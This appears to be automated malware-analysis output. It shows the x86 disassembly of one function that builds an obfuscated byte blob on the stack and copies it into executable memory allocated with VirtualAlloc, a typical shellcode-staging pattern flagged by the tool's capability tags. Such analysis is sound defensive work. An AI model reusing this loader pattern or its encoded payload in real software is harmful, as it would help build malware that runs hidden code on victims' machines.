Function at 0x401010
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov dword [ebp - 0x164], 0x493ec00
mov dword [ebp - 0x160], 0x35640404
mov dword [ebp - 0x15c], 0x68e98dd6
mov dword [ebp - 0x158], 0x8f34568f
mov dword [ebp - 0x154], 0x568f1056
mov dword [ebp - 0x150], 0x4ebb1318
mov dword [ebp - 0x14c], 0x8f03352a
mov dword [ebp - 0x148], 0xc4352c76
mov dword [ebp - 0x144], 0x806540b0
mov dword [ebp - 0x140], 0xc5243006
mov dword [ebp - 0x13c], 0xcb0511d3
mov dword [ebp - 0x138], 0x56f3794d
mov dword [ebp - 0x134], 0x14568f5b
mov dword [ebp - 0x130], 0x540468f
mov dword [ebp - 0x12c], 0x7c448fd4
mov dword [ebp - 0x128], 0x5078c489
mov dword [ebp - 0x124], 0x4c8fd405
mov dword [ebp - 0x120], 0x245c8f1c
mov dword [ebp - 0x11c], 0x89d70554
mov dword [ebp - 0x118], 0x354078cd
mov dword [ebp - 0x114], 0x388f4d03
mov dword [ebp - 0x110], 0x35da058f
mov dword [ebp - 0x10c], 0x11d3c5c4
mov dword [ebp - 0x108], 0x3ccb05b0
mov dword [ebp - 0x104], 0x7f879e4
mov dword [ebp - 0x100], 0x813ffc81
mov dword [ebp - 0xfc], 0x5ce47928
mov dword [ebp - 0xf8], 0x5285c8f
mov dword [ebp - 0xf4], 0x108f6ad7
mov dword [ebp - 0xf0], 0x205c8f4f
mov dword [ebp - 0xec], 0x88fd705
mov dword [ebp - 0xe8], 0x8dd4058f
mov dword [ebp - 0xe4], 0x5f282848
mov dword [ebp - 0xe0], 0x5e5d655f
mov dword [ebp - 0xdc], 0x5ce40355
mov dword [ebp - 0xd8], 0x168f5e63
mov dword [ebp - 0xd4], 0x30384ed
mov dword [ebp - 0xd0], 0x376c6103
mov dword [ebp - 0xcc], 0x6c040436
mov dword [ebp - 0xc8], 0x6336777b
mov dword [ebp - 0xc4], 0x7b506c58
mov dword [ebp - 0xc0], 0xec8d0b2a
mov dword [ebp - 0xbc], 0x94bcd403
mov dword [ebp - 0xb8], 0x2d040405
mov dword [ebp - 0xb4], 0x6c5458c8
mov dword [ebp - 0xb0], 0x46f842d
mov dword [ebp - 0xac], 0xe6ed903
mov dword [ebp - 0xa8], 0x3f196c6c
mov dword [ebp - 0xa4], 0x4066cd9
mov dword [ebp - 0xa0], 0xea8d6015
mov dword [ebp - 0x9c], 0x54545454
mov dword [ebp - 0x98], 0x54445444
mov dword [ebp - 0x94], 0xe313ee6c
mov dword [ebp - 0x90], 0x9bd903e4
mov dword [ebp - 0x8c], 0x5b5a146e
mov dword [ebp - 0x88], 0x78a99d6c
mov dword [ebp - 0x84], 0x89d90365
mov dword [ebp - 0x80], 0x30e78c4
mov dword [ebp - 0x7c], 0xf0790c52
mov dword [ebp - 0x78], 0x4046bec
mov dword [ebp - 0x74], 0x6e046e04
mov dword [ebp - 0x70], 0x6c5b5a08
mov dword [ebp - 0x6c], 0x63ccdd06
mov dword [ebp - 0x68], 0xfc87d903
mov dword [ebp - 0x64], 0x8f3a8204
mov dword [ebp - 0x60], 0x6c446e3a
mov dword [ebp - 0x5c], 0x4041404
mov dword [ebp - 0x58], 0x6c046e5a
mov dword [ebp - 0x54], 0xe957a85c
mov dword [ebp - 0x50], 0x5797d903
mov dword [ebp - 0x4c], 0x575a046e
mov dword [ebp - 0x48], 0xdd066c5b
mov dword [ebp - 0x44], 0xd90363cc
mov dword [ebp - 0x40], 0x8104fc87
mov dword [ebp - 0x3c], 0x46c5c2c
mov dword [ebp - 0x38], 0x6e040444
mov dword [ebp - 0x34], 0xf6c5404
mov dword [ebp - 0x30], 0x3341333
mov dword [ebp - 0x2c], 0x796c5bd9
mov dword [ebp - 0x28], 0x3655172
mov dword [ebp - 0x24], 0x36262d9
push 0x40
push 0x1000
push 0x162
push 0
mov dword [ebp - 0x20], 0x89132810
mov dword [ebp - 0x1c], 0x3030374
mov dword [ebp - 0x18], 0x3039fed
mov dword [ebp - 0x14], 0x2dc70503
mov dword [ebp - 0x10], 0xc7c579ca
mov dword [ebp - 0xc], 0xa6b9f4bf
mov dword [ebp - 8], 0x57046e5a
mov word [ebp - 4], 0xd903
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x40135f
push esi
push edi
mov ecx, 0x58
lea esi, [ebp - 0x164]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
pop edi
pop esi
mov esp, ebp
pop ebp
ret